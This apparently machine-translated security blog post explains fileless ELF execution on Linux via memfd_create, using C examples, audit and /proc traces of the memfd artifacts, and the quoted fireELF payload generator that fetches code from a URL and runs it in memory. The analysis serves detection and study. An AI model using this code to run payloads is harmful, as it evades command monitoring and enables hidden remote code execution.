IMCAFS

Home

no file execution elf in linux environment

Posted by barello at 2020-03-14
all

Explain

There are many articles about elf execution without file infiltration in Linux, such as in memory only elf execution (without TMPFS) and ELF in memory Execution and the Chinese version of Linux corresponding to these two articles have multiple ways to execute elf without file penetration. There are also some tools fireelf (Introduction: fireelf: no file Linux malicious code framework). The most critical method of all non file penetration is memfd_create()

MEMFD_CREATE

About memfd? Create, the above description is as follows: memfd? Create int memfd? Create (const char * name, unsigned int flags);

memfd_create() creates an anonymous file and returns a file descriptor that refers to it. The file behaves like a regular file,and so can be modified, truncated, memory-mapped, and so on.However, unlike a regular file, it lives in RAM and has a volatile backing storage. Once all references to the file are dropped, it is automatically released. Anonymous memory is used for all backing pages of the file. Therefore, files created by memfd_create() have the same semantics as other anonymous memory allocations such as those allocated using mmap with the MAP_ANONYMOUS flag.

The initial size of the file is set to 0. Following the call, the file size should be set using ftruncate(2). (Alternatively, the file may be populated by calls to write(2) or similar.)

The name supplied in name is used as a filename and will be displayed as the target of the corresponding symbolic link in the directory /proc/self/fd/. The displayed name is always prefixed with memfd: and serves only for debugging purposes. Names do not affect the behavior of the file descriptor, and as such multiple files can have the same name without any side effects.

Memfd create() will create an anonymous file and return a file descriptor pointing to the file. This file is just like a normal file, so it can be modified, truncated, memory mapped, etc. unlike a normal file, this file is saved in RAM. Once all connections to this file are lost, this file will The anonymous memory is used for all the backup storage of this file. So the anonymous file created by memfd ﹣ create() has the same semantics as the anonymous file created by map ﹣ anonymous flag through MMAP. The initialization size of this file is 0, and then the file size can be set by ftruncate or write. The file name provided by memfd ﹣ create() function will It is displayed on the connection pointed to by / proc / self / FD, but the filename usually contains the prefix of memfd. This filename is only used for debugging, which has no impact on the use of the anonymous file. At the same time, multiple files can have the same filename

After the introduction of memfd_create(), we will illustrate the situation with several practical examples

Ptrace

Ptrace is an open-source tool launched by Qianxin. It introduces the program name and parameters of low permission vague execution of Linux, avoiding the command log based on execve system call monitoring. The example code is as follows:

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <linux/memfd.h> #include <sys/syscall.h> #include <errno.h> int anonyexec(const char *path, char *argv[]) { int fd, fdm, filesize; void *elfbuf; char cmdline[256]; fd = open(path, O_RDONLY); filesize = lseek(fd, SEEK_SET, SEEK_END); lseek(fd, SEEK_SET, SEEK_SET); elfbuf = malloc(filesize); read(fd, elfbuf, filesize); close(fd); fdm = syscall(__NR_memfd_create, "elf", MFD_CLOEXEC); ftruncate(fdm, filesize); write(fdm, elfbuf, filesize); free(elfbuf); sprintf(cmdline, "/proc/self/fd/%d", fdm); argv[0] = cmdline; execve(argv[0], argv, NULL); free(elfbuf); return -1; } int main() { char *argv[] = {"/bin/uname", "-a", NULL}; int result =anonyexec("/bin/uname", argv); return result; }

Analyze the above code

Lseek

Lseek's function prototype is:

#include <unistd.h> off_t lseek(int fd,off_t offset,int whence); /*Returns new file offset if successful, or -1 on error*/

There are three values of "when", which are seek ﹣ set ﹣ seek ﹣ cur ﹣ seek ﹣ end. Different values have different interpretations of offset. Please refer to lseek (2) for details

In this case, filesize = lseek (FD, seek_set, seek_end); equivalent to filesize = lseek (FD, 0, seek_end); indicates the size of the whole file

fd = open(path, O_RDONLY); filesize = lseek(fd, SEEK_SET, SEEK_END); lseek(fd, SEEK_SET, SEEK_SET); elfbuf = malloc(filesize); read(fd, elfbuf, filesize);

So the meaning of the above code is: read the path file, get the size of the path file through lseek, and write the content of the path file into elfbuf through the write function

Memfd_create

According to our previous discussion on memfd ﹣ create, directly through memfd ﹣ create ("elf", MFD ﹣ cloexec); in theory, we can get FD of an anonymous file and syscall in the above code (﹣ NR ﹣ memfd ﹣ create, "elf", MFD ﹣ cloexec); it is completely equivalent

I was very puzzled about this. Later I saw in memory only elf execution We only know the Perl language used in this article. Considering that there is no libc Library in Perl, we can't directly call the memfd_create() function. So we need to call the memfd_create() method in the way of syscall. Then we need to know the system call code of memfd_create() through syscall()

$ uname -a Linux 5.0.0-25-generic #26~18.04.1-Ubuntu SMP Thu Aug 1 13:51:02 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux /usr/include$ egrep -r '__NR_memfd_create|MFD_CLOEXEC' * asm-generic/unistd.h:#define __NR_memfd_create 279 asm-generic/unistd.h:__SYSCALL(__NR_memfd_create, sys_memfd_create) linux/memfd.h:#define MFD_CLOEXEC 0x0001U valgrind/vki/vki-scnums-x86-linux.h:#define __NR_memfd_create 356 valgrind/vki/vki-scnums-ppc64-linux.h:#define __NR_memfd_create 360 valgrind/vki/vki-scnums-arm-linux.h:#define __NR_memfd_create 385 valgrind/vki/vki-scnums-mips64-linux.h:#define __NR_memfd_create (__NR_Linux + 314) valgrind/vki/vki-scnums-s390x-linux.h:#define __NR_memfd_create 350 valgrind/vki/vki-scnums-arm64-linux.h:#define __NR_memfd_create 279 valgrind/vki/vki-scnums-ppc32-linux.h:#define __NR_memfd_create 360 valgrind/vki/vki-scnums-mips32-linux.h:#define __NR_memfd_create (__NR_Linux + 354) valgrind/vki/vki-scnums-amd64-linux.h:#define __NR_memfd_create 319 x86_64-linux-gnu/bits/mman-shared.h:# ifndef MFD_CLOEXEC x86_64-linux-gnu/bits/mman-shared.h:# define MFD_CLOEXEC 1U x86_64-linux-gnu/bits/syscall.h:#ifdef __NR_memfd_create x86_64-linux-gnu/bits/syscall.h:# define SYS_memfd_create __NR_memfd_create x86_64-linux-gnu/asm/unistd_32.h:#define __NR_memfd_create 356 x86_64-linux-gnu/asm/unistd_x32.h:#define __NR_memfd_create (__X32_SYSCALL_BIT + 319) x86_64-linux-gnu/asm/unistd_64.h:#define __NR_memfd_create 319

The function call code of memfd ﹣ create is 319, and the corresponding value of MFD ﹣ cloexec is 1U

In addition, we also need to explain the meaning of MFD ﹣ cloexec. MFD ﹣ cloexec is equivalent to close on exec. As the name implies, it is to close the file handle after running. In complex systems, sometimes we don't know how many file descriptors (including socket handle, etc.) have been opened when fork subprocess. It's really difficult to clean one by one at this time. What we expect is to be able to specify when we open a file handle before the fork subprocess: "this handle will be closed when I execute exec after the fork subprocess". In fact, there is such a way: the so-called close on exec.

Execve

The key code to execute is:

sprintf(cmdline, "/proc/self/fd/%d", fdm); argv[0] = cmdline; execve(argv[0], argv, NULL);

Assign the obtained anonymous file handle to the file descriptor of the current process and return it to CmdLine, so CmdLine is the file descriptor of the current process (its content is the content of the path passed by the anonyexec function). Therefore, execve (argv [0], argv, null) is equivalent to execve ("/ binuname", "- a", null) in this example. Through the audit monitoring, we get the following results:

type=EXECVE msg=audit(1566354435.549:153): argc=2 a0="/proc/self/fd/4" a1="-a" type=CWD msg=audit(1566354435.549:153): cwd="/home/spoock/Desktop/test" type=PATH msg=audit(1566354435.549:153): item=0 name="/proc/self/fd/4" inode=1550663 dev=00:05 mode=0100777 ouid=1000 ogid=1000 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 type=PATH msg=audit(1566354435.549:153): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=11014834 dev=08:02 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 type=PROCTITLE msg=audit(1566354435.549:153): proctitle="./a.out"

The captured code executes the statement type = execute MSG = audit (156635435.549:153): argc = 2a0 = "/ proc / self / FD / 4" A1 = "- a" without uname at all, but / proc / self / FD / 4, avoiding the detection of command monitoring by execve

Through monitoring proc, the corresponding information is: {"PID": "8360", "PPID": "22571", "uid": "1000", "CmdLine": "/ proc / self / FD / 4 - a", "exe": "/ memfd: ELF (deleted)", "CWD": "/ home / snoock / desktop / test"} which is consistent with the data monitored by audit

As for the filename provided by the memfd_create() function, it is reflected in the EXE, that is, / memfd: ELF (deleted), followed by the filename starting with memfd:

ELF in-memory execution

Let's look at the example program in elf in memory execution, which is different from the ptrace program

#include <stdio.h> #include <stdlib.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> int main() { int fd; pid_t child; char buf[BUFSIZ] = ""; ssize_t br; fd = syscall(SYS_memfd_create, "foofile", 0); if (fd == -1) { perror("memfd_create"); exit(EXIT_FAILURE); } child = fork(); if (child == 0) { dup2(fd, 1); close(fd); execlp("/bin/date", "", NULL); perror("execlp date"); exit(EXIT_FAILURE); } else if (child == -1) { perror("fork"); exit(EXIT_FAILURE); } waitpid(child, NULL, 0); lseek(fd, 0, SEEK_SET); br = read(fd, buf, BUFSIZ); if (br == -1) { perror("read"); exit(EXIT_FAILURE); } buf[br] = 0; printf("pid:%d\n", getpid()); printf("child said: '%s'\n", buf); pause(); exit(EXIT_SUCCESS); }

Different from ptrace, the above code uses fork () to achieve the purpose of no file penetration. The previous FD = syscall (sys_memfd_create, "foofile", 0); the meaning of ptrace is the same, which will not be explained here

Fork

child = fork(); if (child == 0) { dup2(fd, 1); close(fd); execlp("/bin/date", "/bin/date", NULL); perror("execlp date"); exit(EXIT_FAILURE); } else if (child == -1) { perror("fork"); exit(EXIT_FAILURE); }

Since the subprocess has pointed the standard output to FD, the execution result will be written to FD through execlp ("/ bin / date", "/ bin / date", null)

Read

As for fork, we need to make it clear that when fork() is executed, the child process will get copies of all file descriptors of the parent process. The creation of these copies is similar to dup(), which means that the corresponding descriptors of the parent and child processes point to the same open file handle. Therefore, after the child process modifies FD, it can also see the modification of FD in the parent process

Analyze the following code:

lseek(fd, 0, SEEK_SET); br = read(fd, buf, BUFSIZ); if (br == -1) { perror("read"); exit(EXIT_FAILURE); } buf[br] = 0;

Finally, we print the result of FD through printf ("child said:"% s'n ", buf); in fact, it is the execution result of / bin / date. We analyze and observe the execution process through audit and proc. The results of audit are as follows:

type=SYSCALL msg=audit(1566374961.124:5777): arch=c000003e syscall=59 success=yes exit=0 a0=55d8b6c9ac1a a1=7ffdd40de700 a2=7ffdd40e08a8 a3=0 items=2 ppid=22918 pid=22919 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts1 ses=2 comm="date" exe="/bin/date" key="rule01_exec_command" type=EXECVE msg=audit(1566374961.124:5777): argc=1 a0="" type=CWD msg=audit(1566374961.124:5777): cwd="/home/spoock/Desktop/test" type=PATH msg=audit(1566374961.124:5777): item=0 name="/bin/date" inode=8912931 dev=08:02 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 type=PATH msg=audit(1566374961.124:5777): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=11014834 dev=08:02 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 type=PROCTITLE msg=audit(1566374961.124:5777): proctitle="(null)"

Information to view in proc:

$ ls -al /proc/22918/fd total 0 dr-x------ 2 spoock spoock 0 Aug 21 17:58 . dr-xr-xr-x 9 spoock spoock 0 Aug 21 17:52 .. lrwx------ 1 spoock spoock 64 Aug 21 17:58 0 -> /dev/pts/1 lrwx------ 1 spoock spoock 64 Aug 21 17:58 1 -> /dev/pts/1 lrwx------ 1 spoock spoock 64 Aug 21 17:58 2 -> /dev/pts/1 lrwx------ 1 spoock spoock 64 Aug 21 17:58 3 -> '/memfd:foofile (deleted)' $ ls -al /proc/22918/exe lrwxrwxrwx 1 spoock spoock 0 Aug 21 17:52 /proc/22918/exe -> /home/spoock/Desktop/test/a.out

This feature is still obvious. The feature of file descriptor 3 is the same as that of ptrace. It starts with memfd, followed by the name of the anonymous file created through memfd_create()

FireELF

Fireelf is also an undocumented penetration testing tool. Its introduction is as follows:

fireELF is a opensource fileless linux malware framework thats crossplatform and allows users to easily create and manage payloads. By default is comes with 'memfd_create' which is a new way to run linux elf executables completely from memory, without having the binary touch the harddrive.

According to its introduction, it is also used to create an anonymous file in memory by means of memfd ﹐ create(). The core code is analyzed: simple.py

import base64 desc = {"name" : "memfd_create", "description" : "Payload using memfd_create", "archs" : "all", "python_vers" : ">2.5"} def main(is_url, url_or_payload): payload = '''import ctypes, os, urllib2, base64 libc = ctypes.CDLL(None) argv = ctypes.pointer((ctypes.c_char_p * 0)(*[])) syscall = libc.syscall fexecve = libc.fexecve''' if is_url: payload += '\ncontent = urllib2.urlopen("{}").read()'.format(url_or_payload) else: encoded_payload = base64.b64encode(url_or_payload).decode() payload += '\ncontent = base64.b64decode("{}")'.format(encoded_payload) payload += '''\nfd = syscall(319, "", 1) os.write(fd, content) fexecve(fd, argv, argv)''' return payload

In fact, the key code is:

libc = ctypes.CDLL(None) argv = ctypes.pointer((ctypes.c_char_p * 0)(*[])) syscall = libc.syscall fd = syscall(319, "", 1) fexecve = libc.fexecve os.write(fd, content) fexecve(fd, argv, argv)

In essence, we call memfd_create() to create an anonymous file, inject it into payload through OS. Write (FD, content), and finally execute it with fexecve (FD, argv, argv). It is essentially the same as the previous two methods

summary

In essence, the implementation of ELF without files is to create an anonymous file in memory by using memfd create(), which to some extent brings some challenges to the detection. However, there are some characteristics in the implementation of ELF through memfd create()

Reference resources

Multiple ways of executing elf in Linux system memory without file infiltration